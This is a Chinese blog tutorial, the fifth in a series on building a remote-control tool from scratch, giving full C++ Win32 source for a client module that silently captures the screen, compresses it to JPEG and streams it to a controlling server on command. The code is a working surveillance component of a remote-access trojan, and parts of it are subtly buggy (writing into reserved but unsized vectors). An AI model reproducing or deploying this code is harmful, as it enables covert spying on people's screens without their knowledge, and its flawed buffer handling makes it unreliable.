从零开始做远控 第五篇 屏幕监控

本文介绍了一个远程屏幕监控系统的实现过程,包括客户端屏幕抓取、JPEG压缩及数据传输至服务端等关键技术点。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

如果你从没看过这系列教程请点击:从零开始做远控 简介篇

屏幕监控:

我们来到进阶课程了,我们这一节主要是讲客户端的,我们将会编写从客户端截取屏幕,然后用JEPG压缩它,最后发给服务端,形成一个动态画面。
1.首先我们要下载个: jpeg压缩库,然后把它放到ZeroClient的目录,最后在.pro文件路加入库文件:LIBS += $${PWD}\jpeg\libjpeg.lib
2.在.pro文件路加入库文件:LIBS += -lgdi32,来使用win32图形库

ScreenSpy类:
1.新建一个ScreenSpy类,主要是用来创建新线程,连接至服务端,然后向服务端实时发送自己的屏幕截图。
2.截图函数captureScreen()。
bool ScreenSpy::captureScreen(std::vector<unsigned char> &bmpData)
{
    // 锁定函数,其他线程不能进来
    EnterCriticalSection(&gCs);


    HBITMAP hBitmap;


    // 得到屏幕设备
    HDC hScrDC = CreateDCA(_T("DISPLAY"),NULL,NULL,NULL);
    if(!hScrDC) {
        std::cout << "Failed to get screen device" << std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 创建新的设备
    HDC hRamDC = CreateCompatibleDC(hScrDC);
    if(!hRamDC) {
        std::cout << "Failed to create device" << std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 设置图片大小
    unsigned int iByte = 3;
    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);
    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);
    unsigned int iBmpSize = iWidth * iHeigth * iByte;
    if(iWidth == 1366) {
        iWidth = 1360;
    }


    // 创建位图
    BITMAPINFOHEADER bmpInfoHeader;
    BITMAPINFO bmpInfo;
    void *p;


    bmpInfoHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmpInfoHeader.biBitCount = 32;
    bmpInfoHeader.biPlanes = 1;
    bmpInfoHeader.biCompression = BI_RGB;
    bmpInfoHeader.biWidth = iWidth;
    bmpInfoHeader.biHeight = iHeigth;
    bmpInfo.bmiHeader = bmpInfoHeader;


    // 获取位图
    hBitmap = CreateDIBSection(hScrDC,&bmpInfo,DIB_RGB_COLORS,&p,NULL,0);
    if(!hBitmap) {
        std::cout << "Failed to CreateDIBSection" << std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 绑定设备与对象
    HBITMAP hBitmapOld;
    hBitmapOld = (HBITMAP)SelectObject(hRamDC,hBitmap);


    // 把屏幕复制到新申请的设备上
    StretchBlt(hRamDC,0,0,iWidth,iHeigth,hScrDC,0,0,iWidth,iHeigth,SRCCOPY);


    // 复制图片到内存空间
    bmpData.reserve(iBmpSize);
    HDC hTmpDC = GetDC(NULL);
    hBitmap = (HBITMAP)SelectObject(hRamDC,hBitmapOld);


    bmpInfoHeader.biBitCount = 24;
    int iError = GetDIBits(hTmpDC,hBitmap,0,iHeigth,bmpData.data(),(BITMAPINFO *)&bmpInfoHeader,DIB_RGB_COLORS);
    if(!iError) {
        std::cout << "Failed to GetDIBits" << std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 释放设备与对象
    DeleteDC(hScrDC);
    DeleteDC(hRamDC);
    DeleteObject(hBitmapOld);
    DeleteDC(hTmpDC);
    DeleteObject(hBitmap);


    // 解除函数锁定
    LeaveCriticalSection(&gCs);
    return true;
}


3.压缩函数convertToJpgData()。
bool ScreenSpy::convertToJpgData(const std::vector<unsigned char> &bmpData,
                                 std::vector<unsigned char> &jpgData)
{
    // 锁定函数,其他线程不能进来
    EnterCriticalSection(&gCs);


    // 设置图片大小
    unsigned int iByte = 3;
    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);
    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);
    unsigned int iBmpSize = iWidth * iHeigth * iByte;
    if(iWidth == 1366) {
        iWidth = 1360;
    }


    //  由於bitmap和jpg的儲存方式是相反,所以要把他反過來
    //  例如: rgb: 1 2 3  ->  9 8 7
    //            4 5 6  ->  6 5 4
    //            7 8 9  ->  3 2 1
    const unsigned char *bmp = bmpData.data();
    std::vector<unsigned char> convertedBmp;
    convertedBmp.reserve(iBmpSize);
    unsigned char *cBmp = (unsigned char*)convertedBmp.data();


    for(unsigned int i = 0,j;i < iHeigth;i ++) {
        for(j = 0;j < iWidth;j ++) {
            cBmp[i * iWidth *  iByte + j * 3] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 2];
            cBmp[i * iWidth *  iByte + j * 3 + 1] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 1];
            cBmp[i * iWidth *  iByte + j * 3 + 2] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte];
        }
    }


    // 设置jpg结构
    struct jpeg_compress_struct jcs;
    struct jpeg_error_mgr jem;


    jcs.err = jpeg_std_error(&jem);
    jpeg_create_compress(&jcs);


    // 设置输出配置
    jcs.image_height = iHeigth;
    jcs.image_width = iWidth;
    jcs.input_components = iByte;
    jcs.in_color_space = JCS_RGB;


    jpeg_set_defaults(&jcs);


    // 设置压缩质量
    const int quality = 30;     // 越大越好,越小越差,你可以自己设置
    jpeg_set_quality(&jcs, quality, TRUE);


    // 设置输出文件(临时文件来的,名字随便设置)
    const std::string fileName= "zero_client_screen_capture.tmp";
    FILE *fp = fopen(fileName.data(),"wb+");
    if (!fp) {
        std::cout << "Failed to create file " << fileName << " error:"
                  << ferror(fp) <<std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    jpeg_stdio_dest(&jcs,fp);


    // 开始压缩
    jpeg_start_compress(&jcs,TRUE);
    JSAMPROW jr;
    while(jcs.next_scanline < iHeigth) {
        jr = &cBmp[jcs.next_scanline * iWidth * iByte];
        jpeg_write_scanlines(&jcs,&jr,1);
    }


    // 释放
    jpeg_finish_compress(&jcs);
    jpeg_destroy_compress(&jcs);
    fclose(fp);


    // 读取压缩好的数据
    FILE *fpIn = fopen(fileName.data(),"rb");
    if(!fpIn) {
        std::cout << "Failed to read file " << fileName << " error:"
                  << ferror(fp) <<std::endl;
        std::fflush(stdout);


        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }


    // 获取jpg文件大小
    fseek(fpIn,0,SEEK_END);
    size_t iLen = ftell(fpIn);
    rewind(fpIn);


    // 读取
    jpgData.reserve(iLen);
    fread(jpgData.data(), iLen , 1 ,fpIn);


    // 释放
    fclose(fpIn);


    // 删除临时文件
    DeleteFileA(fileName.data());


    // 解除函数锁定
    LeaveCriticalSection(&gCs);
    return true;
}


4.定义通讯协议
// 数据头
typedef struct {
    unsigned int len;    // jpg文件大小
} ScreenSpyHead;


代码:
ScreenSpy.h
/*
 *
 *  Author: sumkee911@gmail.com
 *  Date: 21-12-2016
 *  Brief: 从客户端截取屏幕,然后用JEPG压缩它,最后发给服务端,形成一个动态画面。
 *
 */
#ifndef SCREENSPY_H
#define SCREENSPY_H
#include "tcpsocket.h"
#include <windows.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <tchar.h>
// 加入jpeg压缩库头文件
extern "C" {
#include "jpeg/jpeglib.h"
#include "jpeg/jmorecfg.h"
#include "jpeg/jconfig.h"
}
class ScreenSpy
{
public:
    ScreenSpy();
    ~ScreenSpy();
    // 屏幕处理函数
    static bool captureScreen(std::vector<unsigned char> &bmpData);
    static unsigned int convertToJpgData(const std::vector<unsigned char> &bmpData,
                                 std::vector<unsigned char> &jpgData);
    // 数据头
    typedef struct {
        unsigned int len;    // jpg文件大小
    } ScreenSpyHeader;
    // 这个类的入口函数,是从另一个线程开启。
    static void startByNewThread(std::string domain, int port);
    static DWORD WINAPI threadProc(LPVOID args);
    // 连接到服务端指定的端口给它发送屏幕截图
    static void startScreenSpy(std::string domain, int port);
    static bool sendScreenData(TcpSocket *sock, std::vector<unsigned char> &jpg, unsigned int len);
};
#endif // SCREENSPY_H


ScreenSpy.cpp

#include "screenspy.h"

// 互挤体,用来确保线程安全
static CRITICAL_SECTION gCs;
// 初始化类
static ScreenSpy spy;

ScreenSpy::ScreenSpy()
{
    // 初始化互挤体
    InitializeCriticalSection(&gCs);
}

ScreenSpy::~ScreenSpy()
{
    // 删除互挤体
    DeleteCriticalSection(&gCs);
}

bool ScreenSpy::captureScreen(std::vector<unsigned char> &bmpData)
{
    // 锁定函数,其他线程不能进来
    EnterCriticalSection(&gCs);

    HBITMAP hBitmap;

    // 得到屏幕设备
    HDC hScrDC = CreateDCA(_T("DISPLAY"),NULL,NULL,NULL);
    if(!hScrDC) {
        std::cout << "Failed to get screen device" << std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }

    // 创建新的设备
    HDC hRamDC = CreateCompatibleDC(hScrDC);
    if(!hRamDC) {
        std::cout << "Failed to create device" << std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }

    // 设置图片大小
    unsigned int iByte = 3;
    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);
    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);
    unsigned int iBmpSize = iWidth * iHeigth * iByte;
    if(iWidth == 1366) {
        iWidth = 1360;
    }

    // 创建位图
    BITMAPINFOHEADER bmpInfoHeader;
    BITMAPINFO bmpInfo;
    void *p;

    bmpInfoHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmpInfoHeader.biBitCount = 32;
    bmpInfoHeader.biPlanes = 1;
    bmpInfoHeader.biCompression = BI_RGB;
    bmpInfoHeader.biWidth = iWidth;
    bmpInfoHeader.biHeight = iHeigth;
    bmpInfo.bmiHeader = bmpInfoHeader;

    // 获取位图
    hBitmap = CreateDIBSection(hScrDC,&bmpInfo,DIB_RGB_COLORS,&p,NULL,0);
    if(!hBitmap) {
        std::cout << "Failed to CreateDIBSection" << std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }

    // 绑定设备与对象
    HBITMAP hBitmapOld;
    hBitmapOld = (HBITMAP)SelectObject(hRamDC,hBitmap);

    // 把屏幕复制到新申请的设备上
    StretchBlt(hRamDC,0,0,iWidth,iHeigth,hScrDC,0,0,iWidth,iHeigth,SRCCOPY);

    // 复制图片到内存空间
    bmpData.reserve(iBmpSize);
    HDC hTmpDC = GetDC(NULL);
    hBitmap = (HBITMAP)SelectObject(hRamDC,hBitmapOld);

    bmpInfoHeader.biBitCount = 24;
    int iError = GetDIBits(hTmpDC,hBitmap,0,iHeigth,bmpData.data(),(BITMAPINFO *)&bmpInfoHeader,DIB_RGB_COLORS);
    if(!iError) {
        std::cout << "Failed to GetDIBits" << std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return false;
    }

    // 释放设备与对象
    DeleteDC(hScrDC);
    DeleteDC(hRamDC);
    DeleteObject(hBitmapOld);
    DeleteDC(hTmpDC);
    DeleteObject(hBitmap);

    // 解除函数锁定
    LeaveCriticalSection(&gCs);
    return true;
}

unsigned int  ScreenSpy::convertToJpgData(const std::vector<unsigned char> &bmpData,
                                 std::vector<unsigned char> &jpgData)
{
    // 锁定函数,其他线程不能进来
    EnterCriticalSection(&gCs);

    // 设置图片大小
    unsigned int iByte = 3;
    unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN);
    unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN);
    unsigned int iBmpSize = iWidth * iHeigth * iByte;
    if(iWidth == 1366) {
        iWidth = 1360;
    }

    //  由於bitmap和jpg的儲存方式是相反,所以要把他反過來
    //  例如: rgb: 1 2 3  ->  9 8 7
    //            4 5 6  ->  6 5 4
    //            7 8 9  ->  3 2 1
    const unsigned char *bmp = bmpData.data();
    std::vector<unsigned char> convertedBmp;
    convertedBmp.reserve(iBmpSize);
    unsigned char *cBmp = (unsigned char*)convertedBmp.data();

    for(unsigned int i = 0,j;i < iHeigth;i ++) {
        for(j = 0;j < iWidth;j ++) {
            cBmp[i * iWidth *  iByte + j * 3] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 2];
            cBmp[i * iWidth *  iByte + j * 3 + 1] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 1];
            cBmp[i * iWidth *  iByte + j * 3 + 2] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte];
        }
    }

    // 设置jpg结构
    struct jpeg_compress_struct jcs;
    struct jpeg_error_mgr jem;

    jcs.err = jpeg_std_error(&jem);
    jpeg_create_compress(&jcs);

    // 设置输出配置
    jcs.image_height = iHeigth;
    jcs.image_width = iWidth;
    jcs.input_components = iByte;
    jcs.in_color_space = JCS_RGB;

    jpeg_set_defaults(&jcs);

    // 设置压缩质量
    const int quality = 30;     // 越大越好,越小越差,你可以自己设置
    jpeg_set_quality(&jcs, quality, TRUE);

    // 设置输出文件(临时文件来的,名字随便设置)
    const std::string fileName= "zero_client_screen_capture.tmp";
    FILE *fp = fopen(fileName.data(),"wb+");
    if (!fp) {
        std::cout << "Failed to create file " << fileName << " error:"
                  << ferror(fp) <<std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return 0;
    }

    jpeg_stdio_dest(&jcs,fp);

    // 开始压缩
    jpeg_start_compress(&jcs,TRUE);
    JSAMPROW jr;
    while(jcs.next_scanline < iHeigth) {
        jr = &cBmp[jcs.next_scanline * iWidth * iByte];
        jpeg_write_scanlines(&jcs,&jr,1);
    }

    // 释放
    jpeg_finish_compress(&jcs);
    jpeg_destroy_compress(&jcs);
    fclose(fp);

    // 读取压缩好的数据
    FILE *fpIn = fopen(fileName.data(),"rb+");
    if(!fpIn) {
        std::cout << "Failed to read file " << fileName << " error:"
                  << ferror(fp) <<std::endl;
        std::fflush(stdout);

        // 解除函数锁定
        LeaveCriticalSection(&gCs);
        return 0;
    }

    // 获取jpg文件大小
    fseek(fpIn,0,SEEK_END);
    size_t iLen = ftell(fpIn);
    rewind(fpIn);

    // 读取
    jpgData.reserve(iLen);
    fread((unsigned char*)jpgData.data() , 1 , iLen ,fpIn);

    // 释放
    fclose(fpIn);

    // 删除临时文件
    DeleteFileA(fileName.data());

    // 解除函数锁定
    LeaveCriticalSection(&gCs);
    return iLen;
}

void ScreenSpy::startByNewThread(std::string domain, int port)
{
    // 将域名和端口数据转换成一个字符指针类型
    char *args = new char[MAX_PATH+sizeof(int)];
    domain.reserve(MAX_PATH);
    memcpy(args,domain.data(), MAX_PATH);
    memcpy(args+MAX_PATH,(char*)&port, sizeof(int));

    // 创建新线程
    HANDLE h = CreateThread(NULL,0,ScreenSpy::threadProc,(LPVOID)args,0,NULL);
    if (!h) {
        std::cout << "Failed to create new thread" << std::endl;
        std::fflush(stdout);
    }
}

DWORD WINAPI ScreenSpy::threadProc(LPVOID args)
{
    char domain[MAX_PATH];
    memcpy(domain, args, MAX_PATH);
    int port = *((int*)((char*)args+MAX_PATH));
    startScreenSpy(domain, port);

    // 释放参数
    delete (char *)args;
    return 0;
}

void ScreenSpy::startScreenSpy(std::string domain, int port)
{
    // 创建socket并连接至服务端
    TcpSocket sock;
    if (!sock.connectTo(domain, port)) {
        std::cout << "Failed to connect screen spy server " <<
                     domain << ":" << port << std::endl;
        std::fflush(stdout);
        return;
    }

    // 开始监控消息
    std::cout << "Started screen spy" << std::endl;
    std::fflush(stdout);

    // 开始传送数据
    const int fps = 5;  // 每秒帧度,你能自己设置
    do {
        Sleep(1000/fps);

        // 截取屏幕,再把它转换成jpg格式
        std::vector<unsigned char> bmp, jpg;

        if (!captureScreen(bmp)) {
            sock.dissconnect();
            break;
        }

        unsigned int len = 0;
        if ((len = convertToJpgData(bmp, jpg)) == 0) {
            sock.dissconnect();
            break;
        }

        // 发送数据
        if (!sendScreenData(&sock, jpg, len)) {
            break;
        }
    } while (1);

    // 完成
    std::cout << "Finished screen spy" << std::endl;
    std::fflush(stdout);
}

bool ScreenSpy::sendScreenData(TcpSocket *sock, std::vector<unsigned char> &jpg,unsigned int len)
{
    // 发送头包
    ScreenSpyHeader header;
    header.len = len;
    if (!sock->sendData((char*)&header, sizeof(ScreenSpyHeader))) {
        return false;
    }

    // 发送jpg数据包,包大小每次最好少于1000,我这里定义800
    const unsigned int paketLen = 800;
    char *data = (char *)jpg.data();
    unsigned int pos = 0;

    while (pos < len) {
        int sendSize = (pos+paketLen) > len ? len-pos : paketLen;

        if (!sock->sendData(data+pos, sendSize)) {
            return false;
        }

        pos += sendSize;
    }

    return true;
}



5.最后在ZeroClient类里修改doScreenSpy函数来响应屏幕监控命令
void ZeroClient::doScreenSpy(std::map<std::string, std::string> &args)
{
    // 开始监控屏幕
    ScreenSpy::startByNewThread(mSock.mIp, atoi(args["PORT"].data()));
}


本节完整代码:
对上节作出的修改:
1.把ZeroClient项目里TcpSocket类里的私有变量mIp,mPort移动到了公有变量


下载完整代码
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值